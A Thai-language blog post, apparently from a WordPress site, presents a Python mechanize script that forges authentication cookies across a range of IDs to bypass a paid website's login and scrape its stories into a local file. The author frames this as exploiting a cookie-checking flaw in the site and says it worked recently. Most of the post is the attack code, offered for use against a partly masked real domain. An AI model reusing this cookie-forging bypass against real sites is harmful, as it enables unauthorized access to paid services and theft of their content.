ดูดเว็บตอนสอง (เว็บที่เราจะดูดต้อง login (cookie))


เว็บนี้ที่เราจะดูดข้อมูลตอนนี้ ต้องจ่ายเงินเพื่อ login เข้าระบบถึงจะอ่านข้อมูลได้

  • พบช่องโหว่ของเว็บ ที่เช็ค login จาก cookie

ดังนั้น เราสามารถ เข้าถึงทุกส่วนของเว็บ ได้โดยใช้ mechanize

ให้สังเกต โคด ตรงส่วน index ในที่นี้ สามารถแก้ให้เร็วขึ้นได้อีก โดยการ เลือกเฉพาะอินเด็กที่ถูกใฃ้จริงเท่านั้น
ปล ใช้ได้จริง เมื่อ เดือน พฤษภาคมที่ผ่านมา หลังจากนั้นไม่ได้ลองแล้ว

import mechanize
from mechanize import Browser
url = “http://www.rueng****.com/9/305811/0/0″
cj = mechanize.LWPCookieJar()
for i in xrange(10000,90000):
cfile = open(“cookie6.txt”,”w”)
cfile.write(“#LWP-Cookies-2.0\nSet-Cookie3: ALLOW%5F”+str(i)+”=”+str(i)+’; path=”/”; domain=”www.rueng****.com”; path_spec; expires=”2009-05-08 08:00:12Z”;\nversion=0′)
cfile.close()
cj.revert(“cookie6.txt”)
openr = mechanize.build_opener(mechanize.HTTPCookieProcessor(cj))
r = openr.open(“http://www.rueng****.com/9/”+str(i)+”/0/0″)
a = r.read()
s = a.find(‘class=”History”‘)
if s>0:
begin = a.find(‘>’,s)
begin = begin+1
end = a.find(‘\n’,begin)
tmp = a[begin:end]
s = a.find(‘class=”StoryHeadline”‘)
t = a.find(‘class=”ReadHeadline”‘,s)
begin = a.find(‘>’,t)
begin = begin+1
end = a.find(‘<’,begin)
end = end
title = a[begin:end]
out = open(“tmp2.txt”,”a”)
out.write(title+”\n”+tmp)
out.close
print i,”success”,title
else:
print i,”fail”

ใส่ความเห็น

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / เปลี่ยนแปลง )

Twitter picture

You are commenting using your Twitter account. Log Out / เปลี่ยนแปลง )

Facebook photo

You are commenting using your Facebook account. Log Out / เปลี่ยนแปลง )

Connecting to %s